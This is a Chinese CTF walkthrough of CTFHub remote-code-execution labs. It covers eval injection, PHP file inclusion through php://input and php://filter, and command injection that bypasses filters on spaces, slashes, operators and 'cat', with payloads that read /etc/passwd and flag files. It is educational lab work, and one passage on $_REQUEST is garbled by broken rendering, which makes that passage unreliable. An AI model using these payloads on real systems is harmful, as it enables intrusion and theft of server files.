当前位置: 首页 > news >正文

CTFHub-RCE系列wp

目录标题

    • 引言
      • 什么是RCE漏洞
    • eval执行
    • 文件包含
      • 文件包含
      • php://input
      • 读取源代码
      • 远程包含
    • 命令注入
      • 无过滤
      • 过滤cat
      • 过滤空格
      • 过滤目录分隔符
      • 过滤运算符
      • 综合过滤练习

引言

题目共有如下类型

什么是RCE漏洞

RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码

eval执行

分析源码:

 <?php
if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
} else {highlight_file(__FILE__);
}
?> 

执行命令查看当前目录

?cmd=system("ls");

查看根目录或者上级目录一个一个查找

?cmd=system("ls /");
?cmd=system("ls ../../../");

发现flag文件

cat /flag_8751即可

文件包含

文件包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {                          //检查是否存在file参数且不为空if (!strpos($_GET["file"], "flag")) {            //过滤flag字符串include $_GET["file"];                       } else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?><hr>
i have a <a href="shell.txt">shell</a>, how to use it ?   //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>

利用文件包含读取shell.txt

先了解一下** R E Q U E S T ∗ ∗ 函数,是 P H P 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说, ‘ _REQUEST**函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,` REQUEST函数,是PHP中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,_REQUEST` 变量包含了通过 GETPOSTCOOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量

查看根目录

查找flag

php://input

源码分析

<?php
if (isset($_GET['file'])) {                                //检查是否存在file参数if ( substr($_GET["file"], 0, 6) === "php://" ) {      //检查参数前6位是否为 php:// ,是则执行include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接

查看phpinfo.php文件,发现此处

抓包构造命令执行,因为有php://input,故会执行传入的php代码

查看flag

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

或者:

读取源代码

源码审计

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {    //检查file参数是否以 php:// 开头include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);                            //代码高亮,显示源码
}
?>i don't have shell, how to get flag? 
flag in <code>/flag</code>                             //flag在根目录

php伪协议读取flag

?file=php://filter/read=/resource=/flag

远程包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {      //过滤flag字符串include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>

给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取

查看根目录

读取flag

命令注入

  • 这里需要了解一下常见的命令分隔符

  • ; : 无论前面是否执行,后面都执行

  • **||(逻辑或):**前命令失败执行后命令,如果前命令成功则不执行后命令

  • **| :**前者结果作为后者参数使用

  • **&& :**前命令成功执行后命令,如果失败则不执行后命令

  • **\n:**换行符,url编码%0a

  • %0a (换行)

  • %0d (回车)

无过滤

没有做任何过滤

ping一下

查看该目录,使用 127.0.0.1; ls 也是可以的

查看26398804916519.php

127.0.0.1 | cat 26398804916519.php

发现flag

过滤cat

查看源码:

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {   $ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) {           //过滤了cat字符串$cmd = "ping -c 4 {$ip}";                //windows默认ping4次,Linux不设置次数会一直pingexec($cmd, $res);} else {$res = $m;}
}

查看当前目录

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail

nl查看,得到flag

或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤

过滤空格

查看源码

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) {                 //只过滤了空格$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

先查看当前目录,得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法

$IFS$9   %09    <>    <     {cat,flag}

可以绕过空格

127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符

几种常见的 / 符号绕过方法

改变工作目录:cd xxx   避免使用 / 符号
环境变量截取: ${PATH:0:1}   ${HOME:0:1}
编码绕过:8进制: $(printf "\57")    16进制: $'\x2f'      $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd     cat  `echo /`etc`echo /`passwd
通配符替代(部分路径已知)/???/cat /???/passwd            //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*'); 

提示:

源码

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/\//", $ip, $m)) {         //过滤了 / 符号$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

查看当前目录

进入该目录并查看

执行以下命令读取flag文件

127.0.0.1;cd flag_is_here;cat flag_29914267619184.php

得到flag

过滤运算符

查看源码,可以利用 **;**绕过

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||\&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 & $cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

查看当前目录

执行以下命令

127.0.0.1;cat flag_4351260182213.php

得到flag

综合过滤练习

源码审计

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {  //过滤了 | & ; 空格 / cat flag ctfhub$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

利用换行符**%0a绕过**查看当前目录

查看根目录,没有有用信息,flag应该存在flag_is_here目录下

执行以下命令

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als         //flag被过滤,需要绕过

查看该flag

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php  //绕过cat

相关文章:

CTFHub-RCE系列wp

目录标题 引言什么是RCE漏洞 eval执行文件包含文件包含php://input读取源代码远程包含 命令注入无过滤过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习 引言 题目共有如下类型 什么是RCE漏洞 RCE漏洞&#xff0c;全称是Remote Code Execution漏洞&#xff0c;翻译成中文…...

Linux ping不通百度但浏览器可以打开百度的的解决方法

问题描述&#xff1a;使用ping命令ping www.baidu.com,提示的地址为ipv6地址&#xff0c;但该地址ping不通&#xff0c;但使用浏览器直接打开百度网址可以打开。 问题可能的原因&#xff1a;&#xff08;1&#xff09;虚拟机上ipv6为自动模式&#xff0c;影响了ipv4寻址&#…...

Redis中的某一热点数据缓存过期了,此时有大量请求访问怎么办?

1、提前设置热点数据永不过期 2、分布式中用redis分布式锁&#xff08;锁可以在多个 JVM 实例之间协调&#xff09;、单体中用synchronized&#xff08;锁只在同一个 JVM 内有效&#xff09; 编写服务类 import com.redisson.api.RLock; import com.redisson.api.RedissonCli…...

低成本+高性能+超灵活!Deepseek 671B+Milvus重新定义知识库搭建

“老板说&#xff0c;这个项目得上Deepseek,还得再做个知识库...” 还有哪个开发者&#xff0c;最近没听到这样的抱怨&#xff1f; Deepseek爆火&#xff0c;推理端的智能提速&#xff0c;算力成本急剧下降&#xff0c;让不少原本不想用大模型&#xff0c;用不起大模型的企业&a…...

TCP服务器与客户端搭建

一、思维导图 二、给代码添加链表 【server.c】 #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <fcntl.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #include <string.…...

PDF 文件的安全功能概述

由于安全问题始终存在&#xff0c;我们希望重点介绍 PDF 文件格式提供的一些安全功能。如果您希望控制或限制用户可以执行的操作&#xff0c;这些功能可以启用。本文将介绍可以阻止哪些类型的操作&#xff0c;以及可以实施哪些不同的身份验证技术来提高 PDF 的安全性。 可以控制…...

在Linux上部署Jenkins的详细指南

引言 在当今快速迭代的软件开发环境中&#xff0c;持续集成和持续交付&#xff08;CI/CD&#xff09;变得越来越重要。Jenkins作为一个开源自动化服务器&#xff0c;能够帮助开发者更高效地进行代码集成、测试和部署。本文将详细介绍如何在Linux系统上安装和配置Jenkins。 准…...

碳纤维复合材料制造的六西格玛管理实践:破解高端制造良率困局的实战密码

碳纤维复合材料制造的六西格玛管理实践&#xff1a;破解高端制造良率困局的实战密码 在全球碳中和与高端制造升级的双重驱动下&#xff0c;碳纤维复合材料行业正经历前爆发式增长。航空航天、新能源汽车、风电叶片等领域对碳纤维产品的性能稳定性提出近乎苛刻的要求&#xff0…...

Day83:图形的绘制

Python 提供了多种绘图工具,其中最常用的是 Turtle(海龟绘图)和 Matplotlib(数据可视化)。今天,我们主要介绍 Turtle,它可以轻松绘制各种几何图形、艺术图案和动画。 1. Turtle 库简介 Turtle 是 Python 内置的绘图工具,主要用于教学、趣味绘画和简单图形的创建。 基…...

C# Dll嵌入到.exe

将dll属性作为 嵌入的资源 修改引用属性为不复制 增加dll识别来源 AppDomain.CurrentDomain.AssemblyResolve new ResolveEventHandler(CurrentDomain_AssemblyResolve);private static System.Reflection.Assembly CurrentDomain_AssemblyResolve(object sender, Reso…...

o3-mini、Gemini 2 Flash、Sonnet 3.5 与 DeepSeek 在 Cursor 上的对决

最新的 OpenAI 模型 o3-mini 已于 1 月 31 日&#xff08;星期五&#xff09;发布&#xff0c;并已在 Cursor 上架。不久后&#xff0c;Gemini 2 Flash 也会陆续登场。 上周&#xff0c;对 DeepSeek V3、DeepSeek R1 以及 Claude 3.5 Sonnet 做过类似测试。那次测试结果显示&am…...

如何在Vscode中接入Deepseek

一、获取Deepseek APIKEY 首先&#xff0c;登录Deepseek官网的开放平台&#xff1a;DeepSeek 选择API开放平台&#xff0c;然后登录Deepseek后台。 点击左侧菜单栏“API keys”&#xff0c;并创建API key。 需要注意的是&#xff0c;生成API key复制保存到本地&#xff0c;丢失…...

6 maven工具的使用、maven项目中使用日志

文章目录 前言一、maven&#xff1a;一款管理和构建java项目的工具1 基本概念2 maven的安装与配置&#xff08;1&#xff09;maven的安装&#xff08;2&#xff09;IDEA集成Maven配置当前项目工程设置 maven全局设置 &#xff08;3&#xff09;创建一个maven项目 3 pom.xml文件…...

Day82:创建图形界面(GUI)

在 Python 中,我们可以使用 Tkinter(标准 GUI 库)来创建图形用户界面(GUI)。Tkinter 提供了一系列工具和控件,使开发者可以轻松地创建窗口、按钮、输入框等界面组件。 1. Tkinter 简介 Tkinter 是 Python 内置的 GUI 库,使用它可以创建窗口应用程序,而无需安装额外的库…...

字节跳动大模型应用 Go 开发框架 —— Eino 实践

前言 开发基于大模型的软件应用&#xff0c;就像指挥一支足球队&#xff1a;组件是能力各异的队员&#xff0c;编排是灵活多变的战术&#xff0c;数据是流转的足球。Eino 是字节跳动开源的大模型应用开发框架&#xff0c;拥有稳定的内核&#xff0c;灵活的扩展性&#xff0c;完…...

【Golang学习之旅】Go + MySQL 数据库操作详解

文章目录 前言1. GORM简介2. 安装GORM并连接MySQL2.1 安装GORM和MySQL驱动2.2 连接MySQL 3. GORM数据模型&#xff08;Model&#xff09;3.1 定义User结构体3.2 自动迁移&#xff08;AutoMigrate&#xff09; 4. GORM CRUD 操作4.1 插入数据&#xff08;Create&#xff09;4.2 …...

Http 的响应码有哪些? 分别代表的是什么?

HTTP 状态码分为多个类别&#xff0c;下面是常见的 HTTP 状态码及其含义&#xff0c;包括 3xx 重定向状态码的详细区别&#xff1a; &#x1f4cc; HTTP 状态码分类 分类状态码范围说明1xx100-199信息性状态码&#xff0c;表示请求已被接收&#xff0c;继续处理2xx200-299成功…...

深入解析 Linux 系统中 Cron 定时任务的配置与管理

在 Linux 和类 Unix 系统中&#xff0c;cron 是一个非常强大的工具&#xff0c;用于定时执行各种任务&#xff0c;例如自动备份、定时运行脚本和定期清理日志文件。通过合理配置 cron&#xff0c;你可以让很多系统维护任务自动化&#xff0c;从而减轻日常管理的压力。而 cronta…...

关于 IoT DC3 中设备(Device)的理解

在物联网系统中&#xff0c;设备&#xff08;Device&#xff09;是一个非常宽泛的概念&#xff0c;它可以指代任何能够接入系统并进行数据交互的实体。包括但不限于手机、电脑、服务器、网关、硬件设备甚至是某些软件程序等所有能接入到该平台的媒介。 内容 定义 目的 示例 …...

golang 版 E签宝请求签名鉴权方式

E签宝 请求签名鉴权方式说明 package utilsimport ("crypto/hmac""crypto/md5""crypto/sha256""encoding/base64""fmt""github.com/gogf/gf/v2/util/gconv" )type Sign struct {secret string }func NewSign(sec…...

3个关键功能解析:USBToolBox如何简化macOS与Windows的USB端口映射难题

3个关键功能解析&#xff1a;USBToolBox如何简化macOS与Windows的USB端口映射难题 【免费下载链接】tool the USBToolBox tool 项目地址: https://gitcode.com/gh_mirrors/too/tool 在Hackintosh和跨平台开发领域&#xff0c;USB端口映射一直是个令人头疼的技术难题。US…...

64_《智能体微服务架构企业级实战教程》授权与认证之授权认证集成测试

前言 配套视频教程: 在 Bilibili课堂、CSDN课程、51CTO学堂 同步发售,提供:源码+部署脚本+文档。 bilibili课堂视频教程:智能体微服务架构企业级实战教程_哔哩哔哩_bilibili CSDN课程视频教程:智能体微服务架构企业级实战教程_在线视频教程-CSDN程序员研修院 51CTO学堂…...

告别网盘客户端!用Alist+RaiDrive把百度云盘变成电脑本地文件夹(保姆级图文教程)

用AlistRaiDrive实现网盘本地化管理的终极方案 你是否厌倦了电脑上安装多个网盘客户端&#xff0c;不仅占用系统资源&#xff0c;操作还繁琐割裂&#xff1f;每次上传下载文件都要在不同客户端间切换&#xff0c;效率低下。现在&#xff0c;通过Alist和RaiDrive的组合&#xf…...

硬件答辩问题总结

一、电源纹波是什么&#xff0c;为什么LDO的小&#xff0c;DCDC的大1.电源纹波电源纹波 是指直流电源输出电压上叠加的 交流波动成分&#xff0c;表现为电压在理想直流值附近上下波动。2.LDO 纹波小原理LDO 内部是一个 调整管&#xff08;可变电阻&#xff09; 串联在输入和输出…...

Redis分布式锁进阶第二十篇

一、本篇前置衔接 第二十篇我们完成了全系列终局复盘&#xff0c;整理了故障排查SOP与企业级落地铁律。常规单资源锁、热点分片锁、隔离锁全部讲透&#xff0c;但真实复杂业务永远不是单一资源&#xff1a;下单要扣库存、扣优惠券、扣积分、冻结余额&#xff0c;多资源并行争抢…...

2027考研全套资料免费分享

备战27考研最全备考资料整理完毕&#xff0c;一路走来深知备考搜集资料耗费大量时间&#xff0c;浪费不少精力。特意整理2027考研全科完整版资源&#xff0c;全部打包汇总&#xff0c;零基础考生直接拿来就能使用&#xff0c;省去四处搜集资料的烦恼。资料内含&#xff1a;&…...

ZMJS,把 JavaScript 解释器放进 SAP ABAP 应用服务器之后,很多扩展思路会变得不一样

我今天看这个 oisee/zmjs 仓库时,最吸引人的不是它把 JavaScript 语法做进了 ABAP,而是它选择了一条非常 SAP 的路线,纯 ABAP、无外部依赖、无 Kernel Module、以类和接口的形式运行在 SAP 应用服务器内部。仓库自己的定位很直接,ZMJS 是一个面向 SAP ABAP 的 Mini JavaScr…...

Windows Cleaner:终极免费系统清理工具,彻底解决C盘空间不足问题

Windows Cleaner&#xff1a;终极免费系统清理工具&#xff0c;彻底解决C盘空间不足问题 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服&#xff01; 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你是否经常遇到C盘爆红、…...

ZYNQ中断避坑指南:PL端信号线如何正确‘连线’到PS端处理函数?

ZYNQ中断系统深度解析&#xff1a;从硬件信号到软件响应的全链路实践 在嵌入式系统开发中&#xff0c;中断处理是实时响应的核心机制。对于ZYNQ这种集成了ARM处理器(PS)和可编程逻辑(PL)的异构计算平台&#xff0c;其中断系统既有传统处理器的特性&#xff0c;又具备FPGA灵活定…...

关于软件版本升级的故事

起因在群里有网友说软件的版本升级比较简单&#xff0c;俺就回了四个字母“PACS”&#xff0c;并补上了一个表情 然后看见开始细说了&#xff1a;一、PACS 属于哪一类&#xff1f;PACS 软件 第二类医疗器械&#xff08;独立软件&#xff09;国家药监局分类&#xff1a;Ⅱ 类 2…...